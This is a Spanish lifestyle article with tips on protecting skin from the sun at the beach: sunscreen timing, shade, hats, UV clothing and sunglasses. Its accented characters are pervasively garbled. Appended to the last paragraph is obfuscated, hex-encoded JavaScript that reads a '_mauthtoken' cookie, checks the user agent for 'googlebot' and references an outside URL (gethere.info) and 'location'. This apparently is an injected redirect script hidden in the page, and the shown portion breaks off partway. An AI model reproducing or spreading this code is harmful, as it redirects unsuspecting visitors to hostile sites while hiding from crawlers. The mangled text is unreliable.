Entretenimiento

25 Mar 2016
Entretenimiento | Por: Redacción

A?Ojo! El Sol puede provocarte serios daAi??os a tu piel. AquAi?? te contamos como protegerte.

Si deseas tomar el sol o simplemente disfrutar de la playa en su plenitud, es de suma importancia que en tu maleta no olvides los artAi??culos que te protejan de los rayos ultravioleta (UV). Los daAi??os que la sobre exposiciA?n del sol puede causar se notan a medida que el tiempo avanza, por ello debes tomar tus precauciones.

Visitar la playa o algA?n balneario en la Ai??poca de vacaciones permite una distracciA?n del calor de la Ai??poca, pero debes tener en cuenta que el sol puede provocar quemaduras de primer grado. AdemA?s, debes cuidarte porque el sol es el principal productor de rayos UV y estos a largo plazo son los causantes del cA?ncer de piel.

Tienes que tener en cuenta que la arena y el agua solamente aumentan la radiaciA?n de los rayos UV, ya que reflejan la luz del sol. AsAi?? como, que la potencia de estos rayos es tan fuerte que tiene la capacidad de atravesar la superficie del agua, por lo que incluso estando bajo el agua puedes sufrir quemaduras solares.

Debes tomar nota de los siguientes consejos si piensas estar expuesta por mucho tiempo a los rayos del sol, para que evites que tu piel se vuelva rAi??gida y seca.

  • Debes elegir un protector solar adecuado a tu tipo de piel y el nivel de protecciA?n que deseas. Si deseas nadar, deberA?s elegir uno a prueba de agua. La protecciA?n debe ser adecuada hacia dA?nde te diriges, no son lo mismo un protector para la ciudad y uno para la playa.
  • Debes aplicar el protector solar 20 minutos antes de salir y retocarlo cada dos horas. No debes usarlo como una manera de prologar tu estadAi??a bajo el sol, ya que no ofrece una protecciA?n total del sol.
  • Sigue las instrucciones para aplicar tu bloqueador solar. Debes aplicarlo especialmente en la cara, orejas, cuello, brazos y todas las partes no cubiertas por la ropa.
  • Aunque no es recomendable, si deseas usar maquillaje o repelente contra insectos debes aplicarte primero el protector solar. Puedes usar tambiAi??n maquillaje que tiene incluido la protecciA?n, sin embargo algunos irritan la piel.
  • Los rayos del sol son mA?s potentes entre las once de la maAi??ana y tres de la tarde, por lo que debes usar protector solar o evitar salir en esas horas.
  • Elige un lugar con sombra apropiada para descansar, pero no olvides de aplicar protector solar porque incluso bajo sombra puedes sufrir quemaduras por el sol. EvitarA?s que tu piel envejezca antes de tiempo y que se te formen manchas en la piel.
  • Puedes tambiAi??n usar un sombrero para proteger tu cara del impacto directo del sol. Debe sobresalir dos o tres pulgadas de la cabeza para cubrir orejas, los ojos, la frente, la nariz y el cuero cabelludo.
  • Para medir la intensidad de los rayos del sol, solamente verifica si tu sombra es menor que tu cuerpo. Si es mA?s pequeAi??a entonces los rayos solares son mA?s intensos y debes mantenerte en la sombra.
  • La ropa protege tu piel. Los rayos del sol pueden atravesar la ropa si es transparente, de color claro o estA? mojada. EstA? a la venta ropa con protecciA?n a los rayos UV, que aseguran la efectividad inclusive cuando se moja.
  • Usa lentes que bloqueen los rayos UV, ya que sobre exponer los ojos al sol puede aumentar el porcentaje a padecer enfermedades oculares. Deben bloquear del 99% al 100% de los rayos y ser grandes con montura cruzada.

No debes preocuparte de la protecciA?n solar solamente cuando es Ai??poca de vacaciones o pasas mucho tiempo en la playa y balnearios, sino que la exposiciA?n solar ocurre cada vez que se estA?s bajo el sol y se acumula dAi??a con dAi??a.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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